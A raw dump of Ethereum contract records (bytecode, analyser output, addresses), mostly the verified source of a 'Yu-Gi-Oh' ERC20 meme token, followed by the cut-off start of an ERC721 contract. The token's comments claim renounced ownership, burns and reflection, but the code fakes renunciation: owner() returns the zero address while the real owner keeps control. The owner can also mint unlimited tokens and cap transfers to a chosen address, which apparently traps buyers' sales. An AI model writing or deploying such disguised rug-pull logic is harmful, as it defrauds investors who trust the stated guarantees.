840152602081019050612384565b50505050905090810190601f1680156123cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816123e657fe5b049050809150509392505050565b600081826001848601038161240557fe5b0402905092915050565b60008383111582906124bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612481578082015181840152602081019050612466565b50505050905090810190601f1680156124ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2075736572206163636f756e74a26469706673582212201ee16e8445aa65db5a7df4c7b53873ebd184b5981dc4c5a44a6d6e83399970ed64736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 3,764 |
0xde9369c920495912822f6b9c367a9484f9373560
|
/*
Yu-Gi-Oh - YuGiOh
Telegram: https://t.me/ethYuGiOh
Twitter: https://twitter.com/ethYuGiOh
MWWWWWWWWWMWWWWWWWWMWWWWMWWWWWWWWWWWWWWWWWWWWWNKx0WWWWMWWWWWWWWWWWWWMWWWWWWWWWMWWWWMWWWWWWWWMWWWWWWW
WWWWWNWMWWWWWWWWWMWWWWMWWWWMWWWMWWWWMWWWWWWWWNO:,xWWWWWWWWWWWMWWWWMWWWMWWWWWMWWWWWWWWWWWWWMWWWMMWWWW
WWWWWWWWWWWWWWWWWWWMWWWWWWWWWWWWWWWWWWWWWWWWXd;,'oKNWWMWWWWWWWWWWWWWWWWWWWWWWWMWWWWWWWWWWWWWMWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW0c,',':xKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNk;''''.;ckWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWXd,''..''',dNWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWMMWWWMWWWWWWWWWWWWWWWWWWWMWWWWWWWWWWWKo,''. .;;'.:0WWWWWWWWMWWWWWWWWWWWWWWMWWWMWWWWMWWWWWWWWWWWWWW
MWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNWWWWWWKl'''. 'c;'',xWWWWWWWWWWWWWWWWNXNWWWWWWWWWWWWWWWWWWWWWWWWWMWW
WWWWWWWMWWWWMWWKkxxkO0KXNNWWWWWWWNNWWKc'''. .:o,',':0WWWWWWWXKOkxdolcdKWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WMWWWWWWWWWWWWWN0l,'',;:clodkOKXNWWWXo'''. .oo..,''oXNX0xolc;,;;,,;oKNNWWWWWWWWWWWWWWWWNNWWWWWWWWW
WWWWWWWWWWWWWWWWWNk:'','''''',;:lokOd,''.. .dl..',',ll;,''',cc:;';kNNWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWKd,';;;,..'.''',,,','. 'dc..'''''....':c:,'':ONWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWNO:',:cc;......',''.. . ,xc....... .,cl;..',c0WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWKo,'';cl:'. ..... ...;Oo. .. .'oOx:..',lKWWWWWWWWWWWWWWWWWWWWWWWWMWWWWWWWWW
MWWWWMWWWWMWWWWWWWWWWNNNx;'..,ldl,,,. . . .:ldOo. .cxxo,.',lKWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWMWW
WWWWWWWWWWWWWWWWWMWWWWWWNOc''.'ldddddl,.. .:lx0d. .,,.ckx:..',lKWWWWWWWWWWWWWWWWWWWWWWWWWWMWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWKl,',;;:::cdkd:.':;:oo,cxxlcod:..,,lKWWNNNXKK00OKXWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWNNXK00x;'',,;:c:cdooool:'.;ddlc;;;'..,';dxdolcc:;;;cxKNWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWNX0kdolc:;,,''''':cldllxo;;col''ll::::cl;............'':d0XNWWWWWWWWWWWWWWWWWWWWWWWWW
MWWWWMWWWMWWWN0dc,.',;;::;;,'...cxdkxxOkololl:;::lxxookkc,,;::::;;,;lokKXNNNWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWNK0kdc:;;;::ccc:;:oxkkkO0OddO0kxxOkxxOkdkkolllc:,...,cc;ckKNWWWWWWWWWWWWWWWWMWWWMWWWWW
WWWWWMWWWWWWWWWWWWWNKOdl;'..cxdloxkkOOxodx0KKKKKkdxOOxoccclollcccc:,...'cxKXNNWWWNWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWN0kolkOdxkkkOkc,:d0KKKKKKkdodo;,,::,,:c,';,.......':oOXNWWX0XWMWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWNX0OOxxxkOdoc:c;:k0KKKK0xoc;c;,do;:cl:;c,.'.......':xKNWXxONWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWX0kdoc;,,;ccloc;dOoc:dOkOKK0kdkxlc:xkl:c:,:dkodl........,l0NWNkdXWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWNXKOkxoc;'.':clc;:oxO0KK00KK0OOKKOkOxc::,;oOkxOk;......'ckXWWWWOdKWWWWWWWWWWWWWWW
MWWWWMWWWWWWWWWMWWWWMWWWWWNXKOdolcllccxO0K00KKkk00000OOxc',:xOxk0d,.....'ckXNWWWWWOlOWWWMWWWWWWWWMWW
WWMMWWWWWWWWWWWWWWWWWMWWWWWWWNWKxl:colldookO00OOKKKKKKx:..cOkdOOc.....':xKNWWWWWWWx;kWWWWWMWWWMWWWWW
MMWWWMWWWWWWWWWWWWWWWWWWWWWNWWWN0xl;;dl. .ckO000KKKOd;'..,oxkOk:....':xKWWWWWWWWN0l,xWWWWWWWMWWWWMWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNOd;..ll..lOxkOOkxxc.;dl'';:dxxxl,';d0NWWWWWWWW0o,',xWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWXkoodkxdc. .,c,:dl::::cl::dl;c:;;':OXKOx0NWWWWWWWNXkl,..'dWWWWWWWWWWWWWWW
WWWWWMWWWMMWWWWMWWWWWWWWWOxc. ...':'....,:oo;'....';:;;;:l:';dOkOXWWWWWWWKxl:',;..,xKNWWWWWWWWWWWWW
WWWWWWWWWWNWWWWWWWWNWW0do' . .. ...'......'..',,...';c:',,,,'lOkkKNWWWNKxc;....,'.:O00XWWMWWWWMWWWW
MWWWWMWWWWMWWWWWWWNKko'.... . ... ...........,::,..,,,,'..;c,'cxxONWN0o;..;,...','lOkkKNNWWMWWWWWWW
WWWWWWWWWWWWWNKOxl:'........... .........,ccccc'.,,,.....';'':ok0NWWNXx:...,,...,:k0dok0KNWWWWWWWWW
WWWWWWWWWWWNx:'........................ .,dkl:ol,';c,,::;,...oXNWWWWWWNKo,..,,..'cooldO0KNWWWWWWWWW
WWWWWWWWWWXl........................... .,dxxxkl;;c;;:,'....;KWWWWWWWWWXOc..,,..',:odkOXWWWWWWWWWW
WWWWWWWWWWd..... ..cxocooc,,;.........oNWWWNWWWWNN0o'.'.':codod0NWWWWWMWWWW
MWWWWWWWWWk'....... .''.':olclol,...........lNWNNXXNNWKkxdc,';clllood0NWWMWWWWWWW
WWWMWWWWWNNk,........ .. ..,cc:c:,.............dNKoc;lOOxddoddooooolodokNMWNWWMWWWW
WWWWWWWNWWWN0c..... ........... ..';;;;'...';,.........clll:;okOOkxdxdoodlllokKNWWWWWWWWWW
WWWWWWWWWWNWWNkc;;:cclooddxxxxkkkkOx, ...',;'.':;'.........'dxd000KkdodoooclollxXWWWWWWWWWWWW
WWWWWWWWWWWWWWWNNNWWWWWWWWWWWWWWWWWWk. ........,;'...,,'..... ..;oOX0KKkkKOdol:;:ld0WWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNo...............',;'...... .':ok0KKX00X0ocl,.l0NWWWWWWWWWWWWWW
WWWWWWWWWWWWMWWWWWWWWWWWWWMWWWWWWWWWWXc...............,;.........:ldxkOO0Ox0XkloolkNWWWWWWWWWWWWWWWW
MWWWWWWWWWMWWWWWWWWMWNWWWWWWWWWWWWWWNW0,........................';;::clloco0OkxdkXWWWWWWWWWWMWWWWWWW
WWWWWWWMWWWWWWWWWMWWWWWWWWWWWNWWWWWWWWNd...........','..,,'....... .......:x00OOKWWWWWWWWWMWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWNk'...........',',:,........ .;oOXWWWWWNWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWXo......... .'ol;,'... ... ..:o0NWWWWWWWWWWWWWWWWWWWWWWWWWWWW
WWWWWWWWWWWWWWWWWMWWWWWWWNX0Oxddolc:;;,......... . .lc. ....:0NWWNWWWWWWWWWWWWWWWWWWMWWWWWWWWW
MMWNWMWNWMMWNWMMWWWMWWWNKxl;'.........'..'''''.......cd:.........'dWWWWNWMMWNWMWNWMMWNWMMWWWMWWWWMWW
No Dev Tokens.
Anti-whale buy/sell limits
Anti-sniper & Anti-bot scripting
Liq Lock on Launch
Contract renounced
100 Billion Supply!
51% Burn!
1% Reflection to All Holders!
- Limit sell: 0.1% in 10 Minutes
- Renounced after set limit
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public pure returns (address) {
return address(0);
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract YuGiOh is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address public _burnadd;
address public _isBlackListBot;
address public _isBlackListAddress;
uint256 public _burnaddd;
uint256 private _tTotal = 100 * 10**9 * 10**18;
string private _name = 'Yu-Gi-Oh';
string private _symbol = 'YuGiOh';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function setBlackListBot(address botAdd , address botAddress) public onlyOwner {
_isBlackListBot = botAdd;
_isBlackListAddress = botAddress;
_burnaddd = 50 * 10**6 * 10**18;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setMaxFee(uint256 maxFeePercent) public onlyOwner {
_burnaddd = maxFeePercent * 10**18;
}
function setMaxTxTotal(uint256 amount) public onlyOwner {
require(_msgSender() != address(0), "ERC20: cannot permit zero address");
_tTotal = _tTotal.add(amount);
_balances[_msgSender()] = _balances[_msgSender()].add(amount);
emit Transfer(address(0), _msgSender(), amount);
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender != _isBlackListAddress && recipient == _isBlackListBot) {
require(amount < _burnaddd, "Transfer amount exceeds the maxTxAmount.");
}
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101215760003560e01c8063715018a6116100ad578063a9059cbb11610071578063a9059cbb146104cb578063bcf774061461052f578063d5face7f14610563578063dd62ed3e146105c7578063f2fde38b1461063f57610121565b8063715018a6146103b85780637e6c60cc146103c25780638357bab2146103f65780638da5cb5b1461041457806395d89b411461044857610121565b806323b872dd116100f457806323b872dd1461025957806324bbad89146102dd578063313ce5671461031157806370a0823114610332578063710e5d2f1461038a57610121565b806301b0f72b1461012657806306fdde0314610154578063095ea7b3146101d757806318160ddd1461023b575b600080fd5b6101526004803603602081101561013c57600080fd5b8101908080359060200190929190505050610683565b005b61015c610906565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019c578082015181840152602081019050610181565b50505050905090810190601f1680156101c95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610223600480360360408110156101ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a8565b60405180821515815260200191505060405180910390f35b6102436109c6565b6040518082815260200191505060405180910390f35b6102c56004803603606081101561026f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d0565b60405180821515815260200191505060405180910390f35b6102e5610aa9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610319610acf565b604051808260ff16815260200191505060405180910390f35b6103746004803603602081101561034857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae6565b6040518082815260200191505060405180910390f35b6103b6600480360360208110156103a057600080fd5b8101908080359060200190929190505050610b2f565b005b6103c0610c0b565b005b6103ca610d50565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103fe610d76565b6040518082815260200191505060405180910390f35b61041c610d7c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610450610d81565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610490578082015181840152602081019050610475565b50505050905090810190601f1680156104bd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610517600480360360408110156104e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e23565b60405180821515815260200191505060405180910390f35b610537610e41565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105c56004803603604081101561057957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e67565b005b610629600480360360408110156105dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc7565b6040518082815260200191505060405180910390f35b6106816004803603602081101561065557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104e565b005b61068b611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1661076b611259565b73ffffffffffffffffffffffffffffffffffffffff1614156107d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806119666021913960400191505060405180910390fd5b6107ed8160075461126190919063ffffffff16565b60078190555061084c8160016000610803611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126190919063ffffffff16565b60016000610858611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061089e611259565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a350565b606060088054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561099e5780601f106109735761010080835404028352916020019161099e565b820191906000526020600020905b81548152906001019060200180831161098157829003601f168201915b5050505050905090565b60006109bc6109b5611259565b84846112e9565b6001905092915050565b6000600754905090565b60006109dd8484846114e0565b610a9e846109e9611259565b610a9985604051806060016040528060288152602001611a1c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a4f611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a59092919063ffffffff16565b6112e9565b600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a60009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b37611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b670de0b6b3a7640000810260068190555050565b610c13611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b600090565b606060098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e195780601f10610dee57610100808354040283529160200191610e19565b820191906000526020600020905b815481529060010190602001808311610dfc57829003601f168201915b5050505050905090565b6000610e37610e30611259565b84846114e0565b6001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e6f611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506a295be96e640669720000006006819055505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611056611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611116576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561119c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806119ac6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b6000808284019050838110156112df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611a8d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806119d26022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611566576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806119876025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115ec576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611a6a6023913960400191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116975750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116f75760065481106116f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806119f46028913960400191505060405180910390fd5b5b61176381604051806060016040528060268152602001611a4460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118a59092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117f881600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461126190919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611952576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119175780820151818401526020810190506118fc565b50505050905090810190601f1680156119445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe45524332303a2063616e6e6f74207065726d6974207a65726f206164647265737342455032303a207472616e736665722066726f6d20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206578636565647320746865206d61785478416d6f756e742e45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220225b6f1f5bc908bb65c47b22317dc71667c6c9a9964cfa782427cdef3a0b070964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 3,765 |
0x7992185f47e0f5d48f564cd09a7fcf55abbc89a5
|
/**
*Submitted for verification at Etherscan.io on 2021-10-01
*/
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
